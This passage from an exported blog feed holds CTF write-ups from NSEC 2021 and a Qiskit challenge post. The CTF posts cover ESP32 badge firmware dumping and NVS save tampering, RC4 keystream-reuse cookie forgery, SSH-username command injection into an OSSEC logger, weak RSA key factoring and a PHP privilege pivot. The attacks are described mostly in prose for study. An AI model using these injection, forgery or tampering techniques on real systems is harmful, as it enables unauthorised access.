low only when trying to connect with esptool directly. So it didnt matter if I had previously put it into bootloader, when executing esptool.py I needed to press the BOOT button. Bonus Flag With the knowledge that our flash size is 16MB we can now proceed to dump the full firmware. This took several attempts and was painfully slow, but eventually I was able to get it completed. You can set the offset and length that you want to read. Instead of dumping the full firmware it was easy enough to swap those values based on partition information we will see below. I ended up going this route heavily since I would often run into memory corruption issues while trying to dump flash. Similarly esptool has a write_flash capability with the same offset and length arguments to determine where on the badge's firmware the passed binary should be stored. We will keep this in mind for later. Before doing anything fancy with the firmware I ran a quick strings to see if we could pull out anything useful. Sure enough the bonus flag was right there for use to claim with flagbot on discord. With the bonus flag captured, the full firmware dumped, and a reinvigorated drive to figure out how to flip that last flag (taunt me much with that line?) it's time to go even further. Partition Investigation We need to understand a bit more about the firmware before we can proceed. I mentioned above that when connected to the serial port and we go through a reboot cycle we are presented with some useful information - such as the specific boot mode. In addition to that however we are given much more information on the firmware itself. This gives us a good breakdown that there are 4 partitions: nvs, phy_init, factory, and storage. I ended up doing a bit of reading on the ESP32 partition tables to understand what these could be. I quickly figured out that factory was our game's main code, storage was a SPIFF filesystem most likely containing supporting media (confirmed if you check the first article), which leaves us with NVS and phy_init. The documentation here mentions loosely: There are also two data regions defined in the partition table for storing NVS library partition and PHY init data. Which doesn't make too much sense just yet but we will table it for later. Game ELF Reconstruction This entire section was not required for the ultimate 10th flag manipulation, however at this point I had not gotten all the main flags yet and was hoping that using the factory_app partition and putting it through something like Ghidra could provide clarity. Unfortunately that wasn't the case, however I learned a couple more things about the ESP32 architecture as a result. I had already carved out the factory_app partition from the full firmware and imported it to Ghidra. It was a mess trying to go through anything and I tabled that effort until I saw the following Shmoocon 2020 video. As a quick, interesting sidenote, when I initially found this video it only had ~300 views, despite being published back in March 2020. In the last couple weeks that view count has more than doubled at time of writting this article. I wonder how many of those views were NSEC badge owners... Very interesting stuff! The first thing I did after watching the video was to run a hexdump on the NVS partition and confirm that sure enough, my wifi details were right there in plaintext. Ugly ugly stuff considering how prevalent this chip is seemingly used. Back on topic of the badge I took a look at the partition's information using esptool. At this point I went and grabbed a copy of Tenable's esp32_image_parser and started playing around with what I could do. Let's try listing the partitions on our full dump. So far so good. But when I tried to recreate an ELF from the factory_app partition I ran into a code issue. Looking at the code dram0.data is configured... what's the issue? If you look at the esptool image_info output you can see the mapping is slightly off. Tenable's code only addresses \"BYTE_ACCESSIBLE, DRAM, DMA\", however our badge has a dram0.data of \"BYTE_ACCESSIBLE, DRAM\". Let's add a section_map to match our configuration. And sure enough this time it ended up working. At this point I was able to load the ELF into Ghidra and start poking around. Sadly I still have quite a bit to learn in the overall RE domain. I'll keep at it as a learning exercise however the extent of use the ELF ended up being was: Confirming certain aspects I already knew from captured flags Reinforcing that the NPCs in the castle had proper dialogue options, therefore there should be a way to get there Finding the “hidden” CLI cmd hint, that ended up being an unintended easter egg While I was able to find a lot of interesting tidbits, I wasn't able to properly tie anything together. So let's take a step back and see if we can figure out something else on the 10th flag. NVS Partition Investigation One thing I hadn't really thought about until now was the fact flags were persistent between power cycles. This means it's being stored somewhere. It wouldn't be in factory_app, as it's the core game code, and storage just has supporting media. This leaves us with phy_init and nvs. A quick hexdump look at phy_init quickly discounts this partition, so we are down to NVS. Well back to the NVS docs. After a quick perusal I started understanding that the partition was essentially just a series of key-value pairs. Maybe one of those pairs ends up being our flag set? Now what ensued for me was actually a happy little accident. At this point in my adeventure I had dumped the firmware at around half of the flags captured, and currently I was only missing 9 (and clearly 10). This allowed me an opportunity to dump the NVS partition and to do some cursory digging into the deltas. Sadly this wasn't very clean and the delta was quite massive. With several backups available I decided to try and take a stab at modifying the NVS partition and flashing it back on to the badge. Unsurprisingly my attempt did not end up working - go figure. In fact instead of adding the missing flags this actually reset all the progress! This ended up being key to my investigation however as now I had a blank slate to work with. I quickly dumped the NVS partition of this \"factory reset\" version and pondered my next move. I decided to go through every flag I had captured at this point, one-by-one, dumping the firmware between attempts. Trying my best to avoid any extra actions that could pollute the save state I managed to quickly get back to my previous progress state. I then compared the first three states - blank, first flag, second flag, to see what it looked like. We can clearly see \"save\" in the deltas and it is seemingly growing after each flag. Very interesting... NVS Read Since the NVS partition is just a storage of key-pairs there must be a way to read them. esp32_image_parser has a nifty utility called nvs_read.py that should do it. Unfortunately the state of the code at time of investigation was not usable. It seemed as if read_nvs.py started off as a standalone script, then was incorporated into the overall esp32_image_parser.py, and stopped halfway through the process. As a result, you could read the NVS partition from a full firmware dump, but couldn't use it on a carved out partition. With the amount of pain I had getting a full firmware dump I did not want to proceed that way so rebuilt read_nvs.py to be standalone and allow individual NVS partition reads. Passing an NVS dump with a few captured flags I tried to find the \"save\" key-pairs we saw in the raw dump. The last part we need to understand before being able to modify successfully goes back to NVS documentation. You'll notice above that there are multiple save key-pairs, with different data portions. The top one is Erased, while the bottom one is Written. This ends up being how NVS leverages its internal structure. Firmware Modification Alright so in theory we need to find the right save entry in NVS, which should be our \"bitmap state: Written\" entry and understand what needs to be modified as far as data. To put into context I was missing flags 9 and 10, which translated to flag 6 and 10 on the UI (yes flagbot was a bit confused). The lightning strike so to say was when I compared the previous erased save data with the latest written data. You can see one additional bit was flipped. And the clincher is if you count which of the entries are 1 and 0, you can see that indeed the 6th and 10th pairs are left, which directly matches our missing flags! I now have a plan, hurray! I quickly grabbed one of the copies of my NVS dumps, found where the written save entry was located and flipped the corresponding two bits. Then with a hope and a prayer I used esptool to flash the NVS partition back on to the badge. This time when entering the game I'm welcomed with a full flag bar! Summary Wow... just wow... what a journey. Considering when I started I hadn't even heard of an ESP32 chip before, the amount of documentation read, tools discovered, and just knowledge gained in general was crazy. I cannot be happier with my on-the-whim decision to order a badge to pass the time before NSEC 2021's CTF and I recommend to others on the fence to do themselves a favour and try it out. I would be remiss to not mention Vicious and Tom from NSEC's dev team who helped keep our low amounts of sanity intact. In retrospect I can only laugh at some of the silliness they would have had to deal with from our end, and I thank them, and the entire NSEC team for doing so. Additionally I want to thank Eric Hogue and Clayton for the conversations, sounding boards, tips and tricks, and generally just sharing the pain as we progressed through the various parts of the badge. I learned quite a bit and the conversations we had definitely contributed in no small part. As always thanks folks, until next time!" }, { "title": "NSEC 2021 - Badgelife - Main Flags", "url": "/ctf/2021/05/30/nsec2021-badgelife-pt1/", "categories": "ctf", "tags": "nsec2021, ctf, reverse-engineering, ghidra, esp32, hardware", "date": "2021-05-30 12:02:00 -0400", "content": "Introduction Ah the horse... As a preamble to the annual NSEC CTF the team released a hardware badge challenge that could be ordered before the event. Since this year's edition would be remote due to a small thing like a global pandemic and that I had never taken part in hardware hacking of this nature I decided to snag one up. What follows over the next two articles illustrates the curiosity, joy, frustration, elation, rage, and finally relief of this journey. Having never stepped foot into the hardware arena I learned a ridiculous amount and this will not be the last #badgelife interaction I have. I've broken down the writeup into two parts. The first, this article, will cover the first 9 badges which could be captured by direct interaction with the badge whether it be the game, the cli, or to my chagrin listening carefully on the network. I will present them in the numerical order that NSEC's FLAGBOT presented them rather than the order I captured them. The second article will cover a deeper analysis of the firmware, the game's memory structure, and the eventual modification and flashing to the board to capture the elusive final 10th flag. Initial Information First thing's first let us figure out what we are working with. If we turn the badge around we get a bit of a better idea. A quick search and we find out the badge is running on an ESP32 chip. Tiny but powerful it seems this badge should be capable of wifi and bluetooth connectivity. Let's keep that in mind as we progress. Knowing what I do now I would have probably tackled the badge a bit differently, however being completely clueless and excited, I plugged it in and my journey to North Sectoria had commenced. Serial Connection Before we move on to first flag we will connect to the badge's serial port. I initially ended up using minicom but ended up switching to picocom as there was a frustrating issue with flag 6. sudo minicom --device /dev/ttyUSB0 And once properly connected I quickly took a poke at the options before continuing with the game. Flag 1 - Gimme The first flag was a gimme. It was meant to introduce you to the format of the badge, how to submit, and what exactly happens when you discover a flag in-game - namely having the flag icon go from grey to red. This information will be important shortly as we will see. Flag 2 - RE101 Ah to explore North Sectoria! The wonderful Information building, the mysterious Tom's hut, Marcus Madison bakery, our castle entrance seemingly blocked off... where to first? Let's go with Tom! Wifi connection Well that's rude Tom... fine let's go get connected. There was a building near the start with a wifi symbol so that seems like a good target. Unfortunately it only allowed to toggle the wifi connection on and off, so I ended up having to connect using the serial connection. At this point the wifi shack shows us connected and allows us to toggle the status in game. Let's go back to Tom's hut and see what have! Alright that is something. Also explains why we needed a connection. They want us to download two zip files that should correspond to two RE challenges. Bring it on Tom! Xtensa Extracting the contents of both zip files we get two ELF files. Running some initial recon we can see that they are Tensilica Xtensa format. The first thing I wanted to do at this point was get the first elf imported to Ghidra. Unfortunately Ghidra did not have an understanding of what this format was and the result was less that useful. A quick poke around the net and stumbled on to this Ghidra extension. Once installed we were good to go and the import went much smoother. The first thing we needed to do was find the entry point and understand what the code was doing. Sure enough app_main was the intro function and the logic seems simple enough to follow even without fully understanding the Xtensa opcodes fully. Take user input Call verify function If verify works, load flag into register and print Else, jump to “nope_try_again” function The verify function at first seems confusing, but ultimately the logic was straightforward. The stack offsets represented our final flag values. Starting at 0x0 and inscreasing by 0x4 each character we can see the function is validating our user input, a1, against values loaded to the various a8-a15 registers. This should be as simple as taking the values loaded into the registers and building the input one character at a time. Once we've stepped through the full iteration all that was left was to validate using the badge's CLI. Flag 3 - RE102 The second RE challenge was much of the same. ELF in Xtensa format, app_main function and verify function. In this case we are starting at 0x0 with a9 and using a similar approach as flag2 of incrementing by 0x1 for each of the flag's characters. We start by comparing a9[0x0] with 0x66, or f in ascii, before continuing down the line. With a final flag being submitted through the CLI as well. Flag 4 - Konami Ah Konami code. I peppered this through various parts of the game - main screen, in buildings, in conversations, and it finally paid off. There was a flag chest on the top left area of the map that seemingly was blocked off. Angela dropped an interesting hint about how we could reach it when talking with her. This was a nice touch throughout the badge where the NPC conversations may have appeared random but in reality were related to the various flags Suspicious indeed! When putting in the Konami code a magical door opens up for us! Flag 5 - Blocked Map The fifth flag is where things started going off the deep end for me. In reality you can solve this flag quite easily by just playing the game and paying attention to small hints. I however have a tendency of complicating things when approaching these problems. Intended Solution The first indication comes from seeing a tiny land mass at the bottom right of the map. Seemingly unreachable it stuck out as \"why would that be there\"? This was reinforced by Vicious' initial hint of perceiving that the landmass is there. To add on to this one of the Fisherman's conversation points seemingly alluded to the land mass as well. At this point I started looking in the most random places for a way to that landmass. I was thinking similar to flag4 there could be a secret tunnel and way to get to the island. After all another one of the villagers did mention a \"secret underground\"! Since at this point in my adventure I had already dumped the firmware and explored that a bit I ended up taking a tangent in solving flag 5 by approached it with the alternate approach below. This was absolutely not required however as I realized I actually ran into the \"secret\" area by mistake early on and dismissed it... Then by proceeding off screen you could go the entire way down the map until you reached a hidden chest. Flag 5 complete! Alternative Solution This followed dumping the firmware and looking through the SPIFFS storage partition. I'll keep the how I dumped the firmware for the second article, but all you need to know is that the firmware had a specific storage partition. After extracting the binary portion of the partition I took a poke at it using binwalk. At first I thought I had hit jackpot but quickly realized it wouldn't be that easy. When trying to extract the files using binwalk I was running into weird corruption issues. I spent a bit of time reading on how the storage partitions for ESP32 chips works and learned that we were working with a SPIFFS Filesystem. This makes sense why binwalk could recognize some of the file headers and list them out, but due to the SPIFFS block and page sizes it wasn't able to extract properly. To do so we would need a utility like mkspiffs. Unfortunately there were many configuration option possibilities during both the mkspiffs build and when trying to extract the filesystem - neither of which had obvious tells off the bat. One of the intial investigations involved going through the hexdump of the partition. At this point I did notice an interesting pattern. It seems like there is a repeating pattern every 0x400 bytes where it is 0xFF padded. This ended up being the page size of the page - 1024 bytes. Great one step closer! After a bit of discussion with other #badgelifers I had the right build options for mkspiffs. I built the tool locally and passed it a page size of 1024. Lo and behold the extraction worked! At this point it was a matter of going through the material and trying to understand if there was anything useful. Maybe an image file indicating a door could be opened, or a secret flower pot?! It didn't seem like that was the case, but there was an interesting folder under rpg that had a main.scene and main.blocked file. It took awhile to understand but after I loosely calculated the amount of tiles in game I started realizing that the blocked file was being used to determine enterable and \"blocked\" areas of the map! The blocked file was exactly 5000 bytes. If we look at it in bits - 5000*8 = 40000, that comes out to a nice round number of 200 by 200 tiles, which came out close to our manual estimations! What was left was to try and print out the map and see what we could find. Yes! We can see our island area at the bottom right of the map, and even better seemingly a path leading north. If we follow it top the top of the map we can find the secret entrance. Flag 6 - Quack This flag tested how perceptive you were while working with the badge. Seemingly randomly participants would realize a new badge popped up on the UI. But while the flag was seen as captured, there had been no flag text shown, nothing to submit to flagbot in the NSEC discord... Thankfully I would be working on the badge while I had the serial connection in the screen in front of me. This ended up being paramount to seeing flag 6. When the mysterious flag appearance occured for me I was able to narrow it down to about 5 actions I had taken. I had walked through the middle market area, talked with a few villagers, and visited \"lac du quack\". Retracing my steps carefully I noticed when I tried talking with the duck my serial console flickered. This seemed weird and after confirming the behavior happened every time I talked with the duck I knew I should investigate further. I setup my minicom terminal to dump all output to file and repeated the process. This time I managed to catch that ellusive duck quack! Looks like a cipher to me. I ended up going through the most obvious possibilities, but nothing was making sense. The fact that \"quick\" was used also made me think of potential morse code usage, but without spaces this wouldn't really work. As it turns out my hunch was right, it was just an issue with minicom and how it interpreted data. After a quick discussion with the mods they suggested I try a different serial connection - enter picocom. Repeating the cycle with picocom we see a slight, but definitive, difference. My hunch was right! Using ^[[H^[[2J^[[3J (which is the \"clear\" control sequence, explaining the seemingly empty serial output) as the morse code delimiter we are able to finish up the decoding. Flag 7 - Punk I solved this one accidentally while spamming the konami code almost everywhere. When talking with the Punk and getting half way through the konami code I was instantly presented with the flag. Alternative Solution Once you had the firmware dumped there were a few extra ways of finding this flag. When looking at the NPC conversations you notice that the Punk's conversation doesn't include multiple options as everyone else, and there are newlines included before eventually printing the flag. This explains how when going through the Konami code and getting to \"down\" that I was able to see the flag. Flag 8 - Secret CLI Another flag where I was probably my own worst enemy. I solved this one only after having dumped the firmware, and I definitely went on some crazy tangents trying to piece together the secret CLI call from the code. When looking at the serial command options we noticed there was a \"???\". Intended Solution Now this was actually incorrect as it's a sub-option for the RE option... but it set me off the path to dig into the code and shed some light. I'll share in the alternate section that hunt. The obvious hint I missed was something presented when you were connected through the serial port during a badge reboot. When that was the case you would be presented with some additional information. One being a big glaring hint. Auto-complete you say? Should have seen that sooner... going through each character and pressing tab we are eventually rewarded at 't'. Alternative Solution I lost a lot of time digging into the firmware trying to find the reference to this mythical secret command. I was able to initially find where our CLI commands were being registered. Even finding exactly where the hidden_cmd was registered. It turns out that the hint_cmd was something that slipped through QA and shouldn't have made it into the badge. An interesting easter egg left to confuse those easily confused like me. Unfortunately my poking wasn't returning anything further and I ended up solving the flag the intended way with auto-completion. Flag 9 - Noisy Network Ah flag 9... my nemesis. This was actually the very last flag I capture during my time with the_horse. I had already reverse engineered the NVS partition and modified the flag save states giving myself all 10 flags (essentially solving the 10th flag, tacking on the 9th while we were at it) and yet the proper way of doing this was eluding me. The frustrating part is that the solution to this flag was something I identified and dismissed on the very first day. When I first got the badge and realized I had to connect it to wifi I got curious and popped open wireshark to see if anything interesting was being broadcasted. In my naivity I dismissed noise I was seeing and moved on with the rest of the badge challenges. My mistake was forgetting that I had used a second wifi card in promiscuous mode to do the sniffing. Of course the 802.11 traffic I was seeing in wireshark was gibberish I wasn't on the same network and the traffic was encrypted! After several days of trying to turn over every rock (and hints from Vicious) I went back to the network angle. This time realizing what my mistake was during the early days I connected the_horse to my machine directly. Sure enough this changed everything. For reference my badge's IP was 192.168.12.171 at this point. This output clearly shows an interesting behavior. I wonder why it is trying to reach out to 198.51.100.42 and especially on port 4444... reverse shell listener anyone? Since I was using create_ap to get the badge connected to my instance it was trivial to pass it a specific IP configuration. If the badge wants to connect to this address let's give it a path! We also need to setup a listener locally on port 4444 to see if the badge does anything interesting once it reaches the destination. Sure enough within a few seconds both wireshark and our listener get a hit. Relief! I think I actually jumped in my seat a little bit when this flag popped. Several days of thinking I'm going crazy finally paying off. Bonus - Castle Area There was an entire castle area that seemingly we could not get into. While solving flag 5 the \"alternate\" way I noticed something interesting in the blocked output. Is that a walkable path into the castle?! Sure is! Unfortunately at the time I was still looking for the final flags and there didn't end up being any in the area. There was however a very interesting spiral door. When trying to enter it I had a minor heart attack thinking I had messed up my badge. Thankfully this ended up being an intended easter egg by the devs. A quick badge reset and I was back to normal. While not part of the flag capturing journey directly this was a nice little side addition if for nothing else to keep us on our toes. Summary Wow what a time. As a first time #badgelifer I really enjoyed the entire journey - frustration, excitement, relief, and confusion included. I ended up learning a lot about hardware and badge hacking in general and as the second article will hopefully convey, a small understanding in the ESP32 architecture and IoT in general. I can't thank Vicious, Tom, and the entire team enough for putting this together. The entire adventure was high quality and even tied in directly to overall NSEC 2021 North Sectoria theme, making it all the more special. They set the bar high with this edition and I can't wait to see what's in store next year. As always thanks folks, until next time!" }, { "title": "NSEC 2021 - Choir of Infinite Verses", "url": "/ctf/2021/05/24/nsec2021-choir-of-infinite-verses/", "categories": "ctf", "tags": "nsec2021, ctf, cryptography, captcha", "date": "2021-05-24 08:01:00 -0400", "content": "Introduction Choir of \"Infinite\" Verses was an interesting cryptography challenge part of NSEC 2021's CTF. Once we gathered an initial understanding of how the code work it was a matter of realizing the insecure implementation of RC4, specifically with nonce reuse, then abusing this configuration to craft and encrypt our own malicious cookie. Challenges like this are nice in that they very quickly highlight the criticality of properly configuring cryptographic implemantions as the smallest mistake can completely break down the system. Let's jump right in to the challenge details. Code Analysis Going the main page we are presented with captcha style challenge page. Apparently the monks of North Sectoria believe that if they solve enough captchas (seemingly over 10000000000000000!) they can achieve sainthood. We also notice an interesting cookie value. The first portion is Base64 encoded, delimited by a | and then some form of counter. Unfortunately Base64 decoding the first portion did not provide anything immediately usable so went back to the page and explored the functions. Sure enough entering a proper captcha increases the counter by 1. The other interesting aspect was that regardless of good or bad submission the second portion of the cookie would increase by 1. Even when refreshing the page (which also generated a new captcha) the counter increases by 1. A thought crossed my mind that we would need to automate some form of captcha solver to finish this challenge. Thankfully before I started down this route I noticed at the bottom of the page a link to an interesting zip file. Sure enough this ended up being the source code of the app! Excellent let's take a poke at how this works. I had to sit down and go over the logic a few times to make sure I understood what was happening here. Essentially when you load the page it is checking if you have a cookie set. If you don't have one it goes through make_struct to create a cookie and pass it back to you. The code passes three pieces of information to this function: letters, which seems to be a set of 10 random letters (captcha anyone?) 0, which gets zero filled to 24 character length, and finally cache['foo'], an internal variable representing the counter The cookie has a form of: base64(encrypted(hex(&lt;letters&gt;|&lt;zerofilled-tries&gt;|cache['foo']))|cache['foo'] Which means our initial cookie would have a value of: base64(encrypted(hex(ettyrqtamc|000000000000000000000000|1))|1 When a cookie is set the app breaks down the values and attempts to check whether we have acheived sainthood yet or not. If so, it should gives us our flag recognizing our saintly status. RC4 Theory Now that we have a better understanding of what the app is doing, we need to dive a bit further into the encryption/decryption components. Unfortunately because this encryption component we will not be able to arbitrarily modify the values of the cookie... or so it currently seems... Alright we are working with RC4 encryption. Stepping through the configuration we assume (although I never actually tested!) that the key has been changed to something more appropriate for the event, and generates a nonce for the RC4 keystream by taking the current counter, modulus 2048. Oh ho... so essentially a Keystream reuse every 2048 values of the counter. Interesting... Before we go straight into the solution we need to understand how a keystream reuse is bad news in RC4. In this case we know the plaintext structure and value, and we know the ciphertext. This stackexchange post does a great job going over how keystream reuse can be leveraged. The RC4 keystream is generated by a \"key\" - \\(KS = RC4(k)\\) Where in this case our key is both the encryption key and nonce concatenated together and SHA'd. Once the keystream is generated our ciphertext is created by XOR'ing our original message with the keystream. \\(C = M ⊕ KS\\) Since we already know the full plaintext and the final ciphertext we can XOR ciphertext by our plaintext and get our Keystream for this specific nonce. \\(KS = C ⊕ M\\) We do not have a way to extract the exact key from this setup, but do we need to? In theory for any given page refresh we can take presented captcha text, our current tries amount, and the ctr and craft our own malicious cookie. Since we have the keystream that would be used at the ctr+2048 attempt we can craft the plaintext to include a value of tries higher than the threshold, pass along the provided captcha letters at that point, and encrypt the result using the previously captured keystream. Injecting Crafted Cookie By this point we were around the 3577 range of counters. With the plan ready I captured the information required, computed the keystream, and prepped the malicious cookie structure. All that remained was refreshing the page 2048 times to get us back to the same keystream. The most stressful part of this process was making sure I didn't accidentally go over 2048 refreshes and have to start the entire process over. Carefully I refreshed until the 5625'th counter and took note of the new letters that were generated - qavlgsmniv. With this I went through the cookie generation using our keystream. All that is left at this point is to modify our cookie in Firefox and either refresh or submit a captcha. Summary This was definitely a fun challenge that illustrates the sensitivity of cryptographic solution implementation. By incorrectly configuring the nonce, and ultimately reusing the same keystream every 2048 iterations we did not even need the encryption key to arbitrarily control cookie values. Maybe next time they can hire use North Sectoria magicians to configure their systems! As always thanks folks, until next time!" }, { "title": "NSEC 2021 - Knight's Siege Arsenal Monitoring Hub", "url": "/ctf/2021/05/24/nsec2021-knights-arsenal-monitoring-hub/", "categories": "ctf", "tags": "nsec2021, ctf, ossec, rsa, rce", "date": "2021-05-24 08:00:00 -0400", "content": "Introduction The Knight's Siege Arsenal ended up being my favorite track during the CTF event. This particular track followed an infrastructure approach, with multiple nodes, pivots, privilege escalations, all while integrating the overall medieval storyline of North Sectoria. Personally that immersion, not to mention quality of the designed challenge, is what elevated this particular track to favorite status and I am looking forward to further challenges by the designer - Simon Décosse. Time to dive into the challenge itself! Flag 1 - Brute Right off the bat we are presented with the layout of the infrastructure we will be working with. There are three separate instances: a central management server, and two agent nodes. Additionally we are able to get a copy of the instance configurations. Without knowing more about the Manager/Agent interaction this seems like a good area to start on. Immediately it becomes evident that we are working with an OSSEC Host Intrusion Detection system. Looking at the central manager configuration we can get a good idea of what to expect. Based on the main page and this configuration we can see that eastern-trebuchet.ctf should have a getflag endpoint. Additionally under the ossec active responses it seems that we should be able to execute the write-file.sh action by triggering rule 102. To do so we will need to trigger rule 101, which is requesting the getflag url (rule 101), with a frequency of 3 within a short timeframe. Alright let's spam ctrl+f5 a few times and see if this works out. Flag 2 - RCE Looking back the ossec configuration we notice another rule set created for agent 002, or southern-ballista.ctf. This time we see from the central configuration that exec-logger is triggered by rule 201, which looks for invalid ssh users and leverages a syslog subprocess to write them down to users.txt. First let's see it in action by SSH'ing over as a user that shouldn't exist. Sure enough this gets captured by the rule set. Excellent! Now in theory we should be able to reach the user.txt endpoint since according to logger.py it is storing it at /opt/user.txt. Let's take a look (keep in mind this was a previous screenshot when using kali as the username). At this point in theory if we are able to include command execution into the user portion of our SSH request, which gets logged to /var/log/auth.log it should be run by subprocess and return the output to our /opt/user.txt. Let's try that out with a simple ls and see if it works. Great, we should be able to make some progress from here. Note - this is where we ended going off rails. Our initial attempts of geting a reverse shell we're not working and we ended finishing this flag and flag 3 leveraging \"hardmode\" of not having a shell. While not the most efficient nor speediest of solution I rather enjoyed taking this approach and making it work. After a bit of poking and experimenting a few facts were gathered. Slashes were being stripped in the commands Spaces were hit or miss, sometimes working, sometimes being stripped Environment variables were leveragable With the third point in mind we were able to find a nice alternative to using whitespaces by using ${IFS} and using ${PWD} as an alternative to slashes in our user's environment variables. Now with more freedom to explore around we found the location of flag.txt, however cat seemed to also be stripped in the command execution. Instead we leveraged head and were able to acquire the second flag. Flag 3 - RSA In theory by this point we should have had shell access, but as mentioned above we liked inflicting even more pain on ourselves and do this entire next section without remote shell access! In our sysadmin user's homedirectory we find an interesting notepad folder. By checking the leftover bash history we can see that there is something happening with this notepad folder worth investigating. Alright let's get all of this over to our local machine for further analysis. The encrypt/decrypt files and the public key were easy enough to list out as we had previously done, however the .enc files were binary/hex based and weren't playing nice. In this case we base64 encoded them all and brought them back over to convert back to original format. If we combine this with the files and public key we brought over: It starts to become clear we will be factoring our 256 bit RSA public key. A quick search later and I found this blog that would ultimately give us everything we need to recover the private key. Without spending too much time going over the RSA details we are looking for four factors: p, q, n, e. We have n (modulus) and e (exponent) from the public key and our challenge is to factor n into two prime numbers: p, q. This is the security premise of RSA, that factoring p and q from n should be too computationally complex to be broken \"quick enough\". However in this case since our key is a small 256 bit this factoring should be feasible. Getting a copy of yafu installed I put in our modulus and exponent then kicked it off. It took less than 100 seconds to properly factor our private key information. With the information in place I put together a small script based on the blog post to generate our private key file. Let's check to see if our new private key is valid. Looking good! As an extra validation we also can see our modulus is correct. All that is left is to run the decrypt script using our newly minted private key. Drat, not a flag! Oh well this is still a step forward and gives us a hint with where to look next - the SSH keys. While the private key wasn't directly present on sysadmin's home, there was a nice backup file that was definitely enticing. Sure enough extracting the contents of the file gives a nice, juicy private key. All that was left was to use it and SSH over to central-dovecot.ctf and claim our flag! As an extra perk this also means we have a shell connection... no more user.txt abuse here! Flag Bonus - Cred Spray This one was definitely a gimme, but could easily have been overlooked. With our SSH credentials from the previous flag, if we took a step back and logged on to eastern-trebuchet.ctf there was an additional flag.txt right in the home directory for us. Flag 5 - PHP Ah the final flag... this one ended up being a pain and really shouldn't have been. Full disclosure I was only able to finish it after the submissions closed however I still wanted to finish it up out of principal at this point. Initially I believed the escalation path would be related to CVE-2014-5284 and I ended up losing a lot of time seeing how I could make this work. What I should have realized quickly while running through the usual priv-escalation enumeration scripts was a world-writeable PHP file in /var/www/html/download. Owned by www-data this would allow us a lateral pivot on the host. Why does this matter? As sysadmin we were not able to access the main ossec folders like /var/ossec however on further investigation our good old www-data user was part of the ossec group. Hum... that should have been more evident to me. By modifying index.php we can arbitrarily run anything as www-data. Apparently I have something against reverse shells as I went with a direct flag capture approach - by reading the file directly. And thus brings to an end the track! Summary As I mentioned at the start this was by far my favorite track during this year's NSEC CTF. It is possible that the infrastructure based scenario tugged at my infra background, and I really hope to see similar style challenges in future events. I want to thank Simon Décosse for an excellent challenge, and the entire NSEC team for making this event a huge success. I'm already looking forward to next year's edition! As always thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge - ICPC 2021", "url": "/quantum-computing/2021/04/06/ibm-quantum-challenge-icpc2021/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum challenge, unitaries", "date": "2021-04-06 08:00:00 -0400", "content": "Introduction In the culmination of what seemed like \"Quantum February\" I ended up participating in yet another quantum event - this time being run by the International Collegiate Programming Contest (ICPC) and hosted by IBM. Having participated in two other IBM ran events in the last year I was excited to jump back in and continue the journey to quantum learning. The challenge consisted of three separate problems with smaller portions within the problem set. The first two challenges built off each other demonstrating how we can shift our thinking of the problem depending on the scope, while the third problem had us thinking of classic Boolean functions in quantum terms. In standard IBM challenge methodology your final score is also largerly dependent on how efficient your circuits are while still solving the problem. A twist that was new in this event was not only efficiency of the circuit itself, but how quickly you were able to submit the initial solution. This lead to contestants finding themselves trying solve the challenges as quickly as possible, just to stake their claim to an initial solution position, and then spend the remaining time trying to refine their solutions. I'm still torn on whether I liked this particular nuance or not, however to the organizer's credit they did release the exact scoring formula after several participants asked for clarity. I will cover the scoring near the end of this post. Without further ado, let us jump into the problems and my solutions. Problem 1 - Popcount The first notebook started off with a quick introduction of quantum circuits, gates, and Boolean functions in a quantum context. It reminded me quite a bit of going through IBM's Qiskit Textbook and helped set a baseline for participants who had not previously worked with Quantum Computing. The problem statement starts off by covering a popular instruction - Popcount. Also known as Hamming weight the challenge notebook explains that hamming weight is leveraged in certain important quantum algorithms, such as Hamiltonian dymanics simulations, as they offer exponential advantage over classical solutions. The challenge is to now implement our own popcount function using quantum circuits. It took a few read throughs to understand exactly what we wanted to accomplish here. I was familiar enough with the concept of popcount however the challenge wording did trip me up at the beginning. The short version is that the first problem is implementing parts of the popcount function with 4 inputs. Problem 1.a For this first 1.a portion - we are trying to encode how many 1's are in the least significant bit of the original input, essentially counting in binary. For an input of 0100, y1 = 1. For 1010, y1 = 0, etc... Alright this doesn't seem too hard to account for, we should be able to leverage 4 CNOT gates, with each of our inputs acting as a control to our y1 output. # Defining input, output and scratch qubits x = 4 # number of input qubits y1 = 1 # number of output qubit s1 = 0 # number of scratch qubit # Defining Quantum Circuit with the given circuits def Circuit_1(In,Ou,Sc): # initiating required qubits X = QuantumRegister(In, 'input') Y= QuantumRegister(Ou, 'output') # creating circuit with above qubits Circ = QuantumCircuit(X,Y) ##### Create you circuit below ######### Circ.cx(X[0], Y[0]) Circ.cx(X[1], Y[0]) Circ.cx(X[2], Y[0]) Circ.cx(X[3], Y[0]) ######################################## # Transpiling the circuit into u, cnot Circ = transpile(Circ, basis_gates=['u3','cx'],optimization_level=3) return Circ Problem 1.b So far so good. The second part of the problem is to perform the same calculation, this time for the second LSB. This one ended up being the most complicated of the three parts of the first problem, mainly because there were more cases to take into consideration. After a bit of mulling over the approach, essentially what we needed to determine in an input = 4 situation is whether there were two or three inputs that were 1. The initial solution involved leveraging scratch qubits and essentially counting. This was an inneficient solution however, and I knew we could complete this without using any expensive, from a scoring perspective, scratch qubits. The improvement involved using a series of 6 Toffoli gates, coupling pairs of inputs, to determine whether only two or three of them were \"on\". ##### Create you circuit below ######### Circ.ccx(X[0],X[1],Y[0]) Circ.ccx(X[0],X[2],Y[0]) Circ.ccx(X[0],X[3],Y[0]) Circ.ccx(X[1],X[2],Y[0]) Circ.ccx(X[1],X[3],Y[0]) Circ.ccx(X[2],X[3],Y[0]) This was better, but there is still more I can do! Firstly, since we do not care about relative phase in this problem we can immediately gain some efficiency benefits by using RCCX gates instead of regular Toffoli. But that is not it either! If we take a closer look at the comparison groupings there seems to be quite a bit of rework. There were a few different things I started looking at. Firstly was ARXIV-0312225 which covers simplified Toffoli breakdowns. This essentially came down to the same complexity cost as an RCCX gate, so while interesting, did not get me much further. What really helped drive down the cost was when I broke down our RCCX gates and paired down the inneficient rework. Using a subset to elaborate. If we break down two of our RCCX gates we get. #Circ.rccx(X[1],X[2],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[2],Y[0]) Circ.ry(np.pi/4,Y[0]) Circ.cx(X[1],Y[0]) Circ.ry(-np.pi/4,Y[0]) Circ.cx(X[2],Y[0]) Circ.ry(-np.pi/4,Y[0]) #Circ.rccx(X[1],X[3],Y[0]) 